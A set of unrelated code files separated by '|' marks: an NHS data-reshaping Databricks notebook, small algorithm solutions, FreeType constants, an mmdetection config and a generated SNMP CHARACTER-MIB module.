# MAGIC DIAG_4_19, 'DIAG_4_19',
# MAGIC DIAG_4_20, 'DIAG_4_20') AS (CODE, SOURCE)
# MAGIC FROM dars_nic_391419_j3w9t_collab.ccu002_03_hes_apc_all_years)
# MAGIC WHERE NHS_NUMBER_DEID IS NOT NULL AND CODE IS NOT NULL
# COMMAND ----------
drop_table('ccu002_03_hes_apc_longformat')
create_table('ccu002_03_hes_apc_longformat')
# COMMAND ----------
# MAGIC %md ## Long format HES APC surgery
# COMMAND ----------
# MAGIC %sql
# MAGIC CREATE OR REPLACE GLOBAL TEMP VIEW ccu002_03_hes_apc_opertn_longformat_tmp AS
# MAGIC SELECT *
# MAGIC FROM (SELECT PERSON_ID_DEID AS NHS_NUMBER_DEID,
# MAGIC ADMIDATE,
# MAGIC DISDATE,
# MAGIC EPISTART,
# MAGIC EPIEND,
# MAGIC EPIKEY,
# MAGIC STACK(48,
# MAGIC OPERTN_3_01, 'OPERTN_3_01',
# MAGIC OPERTN_3_02, 'OPERTN_3_02',
# MAGIC OPERTN_3_03, 'OPERTN_3_03',
# MAGIC OPERTN_3_04, 'OPERTN_3_04',
# MAGIC OPERTN_3_05, 'OPERTN_3_05',
# MAGIC OPERTN_3_06, 'OPERTN_3_06',
# MAGIC OPERTN_3_07, 'OPERTN_3_07',
# MAGIC OPERTN_3_08, 'OPERTN_3_08',
# MAGIC OPERTN_3_09, 'OPERTN_3_09',
# MAGIC OPERTN_3_10, 'OPERTN_3_10',
# MAGIC OPERTN_3_11, 'OPERTN_3_11',
# MAGIC OPERTN_3_12, 'OPERTN_3_12',
# MAGIC OPERTN_3_13, 'OPERTN_3_13',
# MAGIC OPERTN_3_14, 'OPERTN_3_14',
# MAGIC OPERTN_3_15, 'OPERTN_3_15',
# MAGIC OPERTN_3_16, 'OPERTN_3_16',
# MAGIC OPERTN_3_17, 'OPERTN_3_17',
# MAGIC OPERTN_3_18, 'OPERTN_3_18',
# MAGIC OPERTN_3_19, 'OPERTN_3_19',
# MAGIC OPERTN_3_20, 'OPERTN_3_20',
# MAGIC OPERTN_3_21, 'OPERTN_3_21',
# MAGIC OPERTN_3_22, 'OPERTN_3_22',
# MAGIC OPERTN_3_23, 'OPERTN_3_23',
# MAGIC OPERTN_3_24, 'OPERTN_3_24',
# MAGIC OPERTN_4_01, 'OPERTN_4_01',
# MAGIC OPERTN_4_02, 'OPERTN_4_02',
# MAGIC OPERTN_4_03, 'OPERTN_4_03',
# MAGIC OPERTN_4_04, 'OPERTN_4_04',
# MAGIC OPERTN_4_05, 'OPERTN_4_05',
# MAGIC OPERTN_4_06, 'OPERTN_4_06',
# MAGIC OPERTN_4_07, 'OPERTN_4_07',
# MAGIC OPERTN_4_08, 'OPERTN_4_08',
# MAGIC OPERTN_4_09, 'OPERTN_4_09',
# MAGIC OPERTN_4_10, 'OPERTN_4_10',
# MAGIC OPERTN_4_11, 'OPERTN_4_11',
# MAGIC OPERTN_4_12, 'OPERTN_4_12',
# MAGIC OPERTN_4_13, 'OPERTN_4_13',
# MAGIC OPERTN_4_14, 'OPERTN_4_14',
# MAGIC OPERTN_4_15, 'OPERTN_4_15',
# MAGIC OPERTN_4_16, 'OPERTN_4_16',
# MAGIC OPERTN_4_17, 'OPERTN_4_17',
# MAGIC OPERTN_4_18, 'OPERTN_4_18',
# MAGIC OPERTN_4_19, 'OPERTN_4_19',
# MAGIC OPERTN_4_20, 'OPERTN_4_20',
# MAGIC OPERTN_4_21, 'OPERTN_4_21',
# MAGIC OPERTN_4_22, 'OPERTN_4_22',
# MAGIC OPERTN_4_23, 'OPERTN_4_23',
# MAGIC OPERTN_4_24, 'OPERTN_4_24') AS (CODE, SOURCE)
# MAGIC FROM dars_nic_391419_j3w9t_collab.ccu002_03_hes_apc_all_years)
# MAGIC WHERE NHS_NUMBER_DEID IS NOT NULL
# COMMAND ----------
drop_table('ccu002_03_hes_apc_opertn_longformat')
create_table('ccu002_03_hes_apc_opertn_longformat')
# COMMAND ----------
# MAGIC %md ## Long format deaths
# COMMAND ----------
# MAGIC %sql
# MAGIC CREATE OR REPLACE GLOBAL TEMP VIEW ccu002_03_deaths_longformat AS
# MAGIC SELECT *
# MAGIC FROM (SELECT DEC_CONF_NHS_NUMBER_CLEAN_DEID AS NHS_NUMBER_DEID,
# MAGIC to_date(cast(REG_DATE_OF_DEATH as string), 'yyyyMMdd') AS DATE,
# MAGIC STACK(16,
# MAGIC S_UNDERLYING_COD_ICD10,'S_UNDERLYING_COD_ICD10',
# MAGIC S_COD_CODE_1, 'S_COD_CODE_1',
# MAGIC S_COD_CODE_2, 'S_COD_CODE_2',
# MAGIC S_COD_CODE_3, 'S_COD_CODE_3',
# MAGIC S_COD_CODE_4, 'S_COD_CODE_4',
# MAGIC S_COD_CODE_5, 'S_COD_CODE_5',
# MAGIC S_COD_CODE_6, 'S_COD_CODE_6',
# MAGIC S_COD_CODE_7, 'S_COD_CODE_7',
# MAGIC S_COD_CODE_8, 'S_COD_CODE_8',
# MAGIC S_COD_CODE_9, 'S_COD_CODE_9',
# MAGIC S_COD_CODE_10, 'S_COD_CODE_10',
# MAGIC S_COD_CODE_11, 'S_COD_CODE_11',
# MAGIC S_COD_CODE_12, 'S_COD_CODE_12',
# MAGIC S_COD_CODE_13, 'S_COD_CODE_13',
# MAGIC S_COD_CODE_14, 'S_COD_CODE_14',
# MAGIC S_COD_CODE_15, 'S_COD_CODE_15') AS (CODE, SOURCE)
# MAGIC FROM dars_nic_391419_j3w9t_collab.ccu002_03_deaths_dars_nic_391419_j3w9t)
# MAGIC WHERE NHS_NUMBER_DEID IS NOT NULL AND DATE IS NOT NULL AND CODE IS NOT NULL
# COMMAND ----------
drop_table('ccu002_03_deaths_longformat')
create_table('ccu002_03_deaths_longformat')
# COMMAND ----------
# MAGIC %md ## Long format SUS
# COMMAND ----------
# MAGIC %sql
# MAGIC CREATE OR REPLACE GLOBAL TEMP VIEW ccu002_03_sus_longformat AS
# MAGIC SELECT NHS_NUMBER_DEID,
# MAGIC START_DATE_HOSPITAL_PROVIDER_SPELL,
# MAGIC END_DATE_HOSPITAL_PROVIDER_SPELL,
# MAGIC EPISODE_START_DATE,
# MAGIC EPISODE_END_DATE,
# MAGIC EPISODE_DURATION,
# MAGIC EPISODE_NUMBER,
# MAGIC STACK(25,
# MAGIC LEFT(REGEXP_REPLACE(PRIMARY_DIAGNOSIS_CODE,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'PRIMARY_DIAGNOSIS_CODE',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_1,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_1',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_2,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_2',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_3,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_3',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_4,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_4',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_5,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_5',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_6,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_6',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_7,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_7',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_8,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_8',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_9,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_9',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_10,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_10',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_11,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_11',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_12,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_12',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_13,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_13',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_14,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_14',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_15,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_15',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_16,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_16',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_17,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_17',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_18,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_18',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_19,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_19',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_20,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_20',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_21,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_21',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_22,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_22',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_23,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_23',
# MAGIC LEFT(REGEXP_REPLACE(SECONDARY_DIAGNOSIS_CODE_24,'[-]|[\.]|[X\+]*$|[ ]|[\*]|[X\]|[X\-]*$|[X][A-Z]$|[A-Za-z\-]*$',''), 4), 'SECONDARY_DIAGNOSIS_CODE_24') AS (CODE,SOURCE)
# MAGIC FROM dars_nic_391419_j3w9t_collab.ccu002_03_sus_dars_nic_391419_j3w9t
# COMMAND ----------
drop_table('ccu002_03_sus_longformat')
create_table('ccu002_03_sus_longformat')
# COMMAND ----------
# MAGIC %md ##LSOA region lookup
# COMMAND ----------
# MAGIC %sql
# MAGIC -- Code developed by Sam Hollings and Spencer Keene
# MAGIC CREATE OR REPLACE GLOBAL TEMP VIEW ccu002_03_lsoa_region_lookup AS
# MAGIC with
# MAGIC curren_chd_geo_listings as (SELECT * FROM dss_corporate.ons_chd_geo_listings WHERE IS_CURRENT = 1),
# MAGIC lsoa_auth as (
# MAGIC SELECT e01.geography_code as lsoa_code, e01.geography_name lsoa_name,
# MAGIC e02.geography_code as msoa_code, e02.geography_name as msoa_name,
# MAGIC e0789.geography_code as authority_code, e0789.geography_name as authority_name,
# MAGIC e0789.parent_geography_code as authority_parent_geography
# MAGIC FROM curren_chd_geo_listings e01
# MAGIC LEFT JOIN curren_chd_geo_listings e02 on e02.geography_code = e01.parent_geography_code
# MAGIC LEFT JOIN curren_chd_geo_listings e0789 on e0789.geography_code = e02.parent_geography_code
# MAGIC WHERE e01.geography_code like 'E01%' and e02.geography_code like 'E02%'
# MAGIC ),
# MAGIC auth_county as (
# MAGIC SELECT lsoa_code, lsoa_name,
# MAGIC msoa_code, msoa_name,
# MAGIC authority_code, authority_name,
# MAGIC e10.geography_code as county_code, e10.geography_name as county_name,
# MAGIC e10.parent_geography_code as parent_geography
# MAGIC FROM
# MAGIC lsoa_auth
# MAGIC LEFT JOIN dss_corporate.ons_chd_geo_listings e10 on e10.geography_code = lsoa_auth.authority_parent_geography
# MAGIC
# MAGIC WHERE LEFT(authority_parent_geography,3) = 'E10'
# MAGIC ),
# MAGIC auth_met_county as (
# MAGIC SELECT lsoa_code, lsoa_name,
# MAGIC msoa_code, msoa_name,
# MAGIC authority_code, authority_name,
# MAGIC NULL as county_code, NULL as county_name,
# MAGIC lsoa_auth.authority_parent_geography as region_code
# MAGIC FROM lsoa_auth
# MAGIC WHERE LEFT(authority_parent_geography,3) = 'E12'
# MAGIC ),
# MAGIC lsoa_region_code as (
# MAGIC SELECT lsoa_code, lsoa_name,
# MAGIC msoa_code, msoa_name,
# MAGIC authority_code, authority_name,
# MAGIC county_code, county_name, auth_county.parent_geography as region_code
# MAGIC FROM auth_county
# MAGIC UNION ALL
# MAGIC SELECT lsoa_code, lsoa_name,
# MAGIC msoa_code, msoa_name,
# MAGIC authority_code, authority_name,
# MAGIC county_code, county_name, region_code
# MAGIC FROM auth_met_county
# MAGIC ),
# MAGIC lsoa_region as (
# MAGIC SELECT lsoa_code, lsoa_name,
# MAGIC msoa_code, msoa_name,
# MAGIC authority_code, authority_name,
# MAGIC county_code, county_name, region_code, e12.geography_name as region_name FROM lsoa_region_code
# MAGIC LEFT JOIN dss_corporate.ons_chd_geo_listings e12 on lsoa_region_code.region_code = e12.geography_code
# MAGIC )
# MAGIC SELECT * FROM lsoa_region
# COMMAND ----------
drop_table('ccu002_03_lsoa_region_lookup')
create_table('ccu002_03_lsoa_region_lookup')
# COMMAND ----------
# MAGIC %md ## COVID19 tractory table (run on 3 August 2021)
# COMMAND ----------
# MAGIC %sql
# MAGIC CREATE OR REPLACE GLOBAL TEMP VIEW ccu002_03_ccu013_covid_trajectory AS
# MAGIC SELECT * FROM dars_nic_391419_j3w9t_collab.ccu013_covid_trajectory
# COMMAND ----------
drop_table('ccu002_03_ccu013_covid_trajectory')
create_table('ccu002_03_ccu013_covid_trajectory')
|
SUBJ_REPORT = "Problem Report: ExCEED Labs"
ERROR_NO_EMAIL_TO_GET_AHOLD = "We need to know how to get ahold of you!"
ERROR_NO_REPORT = "Don't forget to add your problem report or request!"
ERROR_NOT_SUBMITTED = "There was a problem with your submission. Please try again!"
SUCCESS_REPORT_SUBMITTED = "Success! Your problem report or request has been submitted to the ExCEED Labs directors."
|
"""
URL: https://codeforces.com/problemset/problem/144/A
Author: Safiul Kabir [safiulanik at gmail.com]
"""
n = int(input())
mil = list(map(int, input().split()))
count = 0
maxx_index = mil.index(max(mil))
while maxx_index - 1 >= 0:
mil[maxx_index - 1], mil[maxx_index] = mil[maxx_index], mil[maxx_index - 1]
count += 1
maxx_index -= 1
mil = mil[::-1]
minn_index = mil.index(min(mil))
while minn_index - 1 >= 0:
mil[minn_index - 1], mil[minn_index] = mil[minn_index], mil[minn_index - 1]
count += 1
minn_index -= 1
print(count)
|
# -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
#
# FreeType high-level python API - Copyright 2011-2015 Nicolas P. Rougier
# Distributed under the terms of the new BSD license.
#
# -----------------------------------------------------------------------------
"""
A list of valid values for the 'platform_id' identifier code in FT_CharMapRec
and FT_SfntName structures.
TT_PLATFORM_APPLE_UNICODE
Used by Apple to indicate a Unicode character map and/or name entry. See
TT_APPLE_ID_XXX for corresponding 'encoding_id' values. Note that name
entries in this format are coded as big-endian UCS-2 character codes only.
TT_PLATFORM_MACINTOSH
Used by Apple to indicate a MacOS-specific charmap and/or name entry. See
TT_MAC_ID_XXX for corresponding 'encoding_id' values. Note that most TrueType
fonts contain an Apple roman charmap to be usable on MacOS systems (even if
they contain a Microsoft charmap as well).
TT_PLATFORM_ISO
This value was used to specify ISO/IEC 10646 charmaps. It is however now
deprecated. See TT_ISO_ID_XXX for a list of corresponding 'encoding_id'
values.
TT_PLATFORM_MICROSOFT
Used by Microsoft to indicate Windows-specific charmaps. See TT_MS_ID_XXX for
a list of corresponding 'encoding_id' values. Note that most fonts contain a
Unicode charmap using (TT_PLATFORM_MICROSOFT, TT_MS_ID_UNICODE_CS).
TT_PLATFORM_CUSTOM
Used to indicate application-specific charmaps.
TT_PLATFORM_ADOBE
This value isn't part of any font format specification, but is used by
FreeType to report Adobe-specific charmaps in an FT_CharMapRec structure. See
TT_ADOBE_ID_XXX.
"""
TT_PLATFORMS = {
'TT_PLATFORM_APPLE_UNICODE' : 0,
'TT_PLATFORM_MACINTOSH' : 1,
'TT_PLATFORM_ISO' : 2, # deprecated
'TT_PLATFORM_MICROSOFT' : 3,
'TT_PLATFORM_CUSTOM' : 4,
'TT_PLATFORM_ADOBE' : 7} # artificial
globals().update(TT_PLATFORMS)
|
# Sum square difference
# https://projecteuler.net/problem=6
def solve(n):
sn = (n*(n+1)//2) * (n*(n+1)//2)
sn2 = n*(n+1)*(2*n+1)//6 # sum of first n squared natural numbers
return abs(sn - sn2)
print(solve(100)) |
_base_ = [
'../_base_/models/paa_distil_fpn.py',
'../_base_/datasets/coco_detection.py',
'../_base_/schedules/schedule_1x.py',
'../_base_/default_runtime.py'
]
model = dict(
type='LAD',
# student
pretrained='torchvision://resnet50',
backbone=dict(depth=50),
bbox_head=dict(type='PAA_LAD_Head'),
# teacher
teacher_pretrained="http://download.openmmlab.com/mmdetection/v2.0/paa/paa_r101_fpn_1x_coco/paa_r101_fpn_1x_coco_20200821-0a1825a4.pth",
teacher_backbone=dict(depth=101),
teacher_bbox_head=dict(type='PAA_LAD_Head'))
# optimizer
optimizer = dict(lr=0.01)
data = dict(samples_per_gpu=4, workers_per_gpu=4)
optimizer_config = dict(
_delete_=True, grad_clip=dict(max_norm=35, norm_type=2))
|
class Solution(object):
def solveNQueens(self, n):
def dfs(queens, xy_sub, xy_plus):
row = len(queens)
if row == n:
result.append(queens)
return None
for col in range(n):
if col not in queens and col + row not in xy_plus and row - col not in xy_sub:
dfs(queens + [col], xy_sub + [row - col], xy_plus + [row + col])
result = []
dfs([], [], [])
return [["."* i + "Q" + "."* (n -i-1) for i in s] for s in result] |
def merge_sort_time(job_list):
'''
sorts the list by timestamp
:return:
array
'''
if len(job_list) > 1:
mid = len(job_list) // 2
lefthalf = job_list[:mid]
righthalf = job_list[mid:]
merge_sort_time(lefthalf)
merge_sort_time(righthalf)
i = 0
j = 0
k = 0
while i < len(lefthalf) and j < len(righthalf):
if lefthalf[i]['time'] > righthalf[j]['time']:
job_list[k] = lefthalf[i]
i = i + 1
else:
job_list[k] = righthalf[j]
j = j + 1
k = k + 1
while i < len(lefthalf):
job_list[k] = lefthalf[i]
i = i + 1
k = k + 1
while j < len(righthalf):
job_list[k] = righthalf[j]
j = j + 1
k = k + 1 |
#
# PySNMP MIB module CHARACTER-MIB (http://pysnmp.sf.net)
# ASN.1 source http://mibs.snmplabs.com:80/asn1/CHARACTER-MIB
# Produced by pysmi-0.0.7 at Sun Feb 14 00:06:47 2016
# On host bldfarm platform Linux version 4.1.13-100.fc21.x86_64 by user goose
# Using Python version 3.5.0 (default, Jan 5 2016, 17:11:52)
#
( ObjectIdentifier, OctetString, Integer, ) = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer")
( NamedValues, ) = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
( ConstraintsIntersection, ValueRangeConstraint, ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ) = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "ValueRangeConstraint", "ConstraintsUnion", "ValueSizeConstraint", "SingleValueConstraint")
( InterfaceIndex, ) = mibBuilder.importSymbols("IF-MIB", "InterfaceIndex")
( ObjectGroup, NotificationGroup, ModuleCompliance, ) = mibBuilder.importSymbols("SNMPv2-CONF", "ObjectGroup", "NotificationGroup", "ModuleCompliance")
( MibIdentifier, transmission, Bits, Integer32, IpAddress, Gauge32, mib_2, Counter32, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, iso, Unsigned32, ObjectIdentity, TimeTicks, ModuleIdentity, NotificationType, ) = mibBuilder.importSymbols("SNMPv2-SMI", "MibIdentifier", "transmission", "Bits", "Integer32", "IpAddress", "Gauge32", "mib-2", "Counter32", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "iso", "Unsigned32", "ObjectIdentity", "TimeTicks", "ModuleIdentity", "NotificationType")
( TextualConvention, DisplayString, AutonomousType, InstancePointer, ) = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString", "AutonomousType", "InstancePointer")
char = ModuleIdentity((1, 3, 6, 1, 2, 1, 19))
if mibBuilder.loadTexts: char.setLastUpdated('9405261700Z')
if mibBuilder.loadTexts: char.setOrganization('IETF Character MIB Working Group')
if mibBuilder.loadTexts: char.setContactInfo(' Bob Stewart\n Postal: Xyplex, Inc.\n 295 Foster Street\n Littleton, MA 01460\n\n Tel: 508-952-4816\n Fax: 508-952-4887\n\n E-mail: rlstewart@eng.xyplex.com')
if mibBuilder.loadTexts: char.setDescription('The MIB module for character stream devices.')
class PortIndex(Integer32, TextualConvention):
displayHint = 'd'
charNumber = MibScalar((1, 3, 6, 1, 2, 1, 19, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charNumber.setDescription('The number of entries in charPortTable, regardless\n of their current state.')
charPortTable = MibTable((1, 3, 6, 1, 2, 1, 19, 2), )
if mibBuilder.loadTexts: charPortTable.setDescription('A list of port entries. The number of entries is\n given by the value of charNumber.')
charPortEntry = MibTableRow((1, 3, 6, 1, 2, 1, 19, 2, 1), ).setIndexNames((0, "CHARACTER-MIB", "charPortIndex"))
if mibBuilder.loadTexts: charPortEntry.setDescription('Status and parameter values for a character port.')
charPortIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 1), PortIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortIndex.setDescription('A unique value for each character port, perhaps\n corresponding to the same value of ifIndex when the\n character port is associated with a hardware port\n represented by an ifIndex.')
charPortName = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,32))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortName.setDescription('An administratively assigned name for the port,\n typically with some local significance.')
charPortType = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2,))).clone(namedValues=NamedValues(("physical", 1), ("virtual", 2),))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortType.setDescription("The port's type, 'physical' if the port represents\n an external hardware connector, 'virtual' if it does\n not.")
charPortHardware = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 4), AutonomousType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortHardware.setDescription("A reference to hardware MIB definitions specific to\n a physical port's external connector. For example,\n if the connector is RS-232, then the value of this\n object refers to a MIB sub-tree defining objects\n specific to RS-232. If an agent is not configured\n to have such values, the agent returns the object\n identifier:\n\n nullHardware OBJECT IDENTIFIER ::= { 0 0 }\n ")
charPortReset = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2,))).clone(namedValues=NamedValues(("ready", 1), ("execute", 2),))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortReset.setDescription("A control to force the port into a clean, initial\n state, both hardware and software, disconnecting all\n the port's existing sessions. In response to a\n get-request or get-next-request, the agent always\n returns 'ready' as the value. Setting the value to\n 'execute' causes a reset.")
charPortAdminStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4,))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2), ("off", 3), ("maintenance", 4),))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortAdminStatus.setDescription("The port's desired state, independent of flow\n control. 'enabled' indicates that the port is\n allowed to pass characters and form new sessions.\n 'disabled' indicates that the port is allowed to\n pass characters but not form new sessions. 'off'\n indicates that the port is not allowed to pass\n characters or have any sessions. 'maintenance'\n indicates a maintenance mode, exclusive of normal\n operation, such as running a test.\n\n 'enabled' corresponds to ifAdminStatus 'up'.\n 'disabled' and 'off' correspond to ifAdminStatus\n 'down'. 'maintenance' corresponds to ifAdminStatus\n 'test'.")
charPortOperStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5,))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("maintenance", 3), ("absent", 4), ("active", 5),))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortOperStatus.setDescription("The port's actual, operational state, independent\n of flow control. 'up' indicates able to function\n normally. 'down' indicates inability to function\n for administrative or operational reasons.\n 'maintenance' indicates a maintenance mode,\n exclusive of normal operation, such as running a\n test. 'absent' indicates that port hardware is not\n present. 'active' indicates up with a user present\n (e.g. logged in).\n\n 'up' and 'active' correspond to ifOperStatus 'up'.\n 'down' and 'absent' correspond to ifOperStatus\n 'down'. 'maintenance' corresponds to ifOperStatus\n 'test'.")
charPortLastChange = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 8), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortLastChange.setDescription('The value of sysUpTime at the time the port entered\n its current operational state. If the current state\n was entered prior to the last reinitialization of\n the local network management subsystem, then this\n object contains a zero value.')
charPortInFlowType = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5,))).clone(namedValues=NamedValues(("none", 1), ("xonXoff", 2), ("hardware", 3), ("ctsRts", 4), ("dsrDtr", 5),))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortInFlowType.setDescription("The port's type of input flow control. 'none'\n indicates no flow control at this level or below.\n 'xonXoff' indicates software flow control by\n recognizing XON and XOFF characters. 'hardware'\n indicates flow control delegated to the lower level,\n for example a parallel port.\n\n 'ctsRts' and 'dsrDtr' are specific to RS-232-like\n ports. Although not architecturally pure, they are\n included here for simplicity's sake.")
charPortOutFlowType = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5,))).clone(namedValues=NamedValues(("none", 1), ("xonXoff", 2), ("hardware", 3), ("ctsRts", 4), ("dsrDtr", 5),))).setMaxAccess("readwrite")
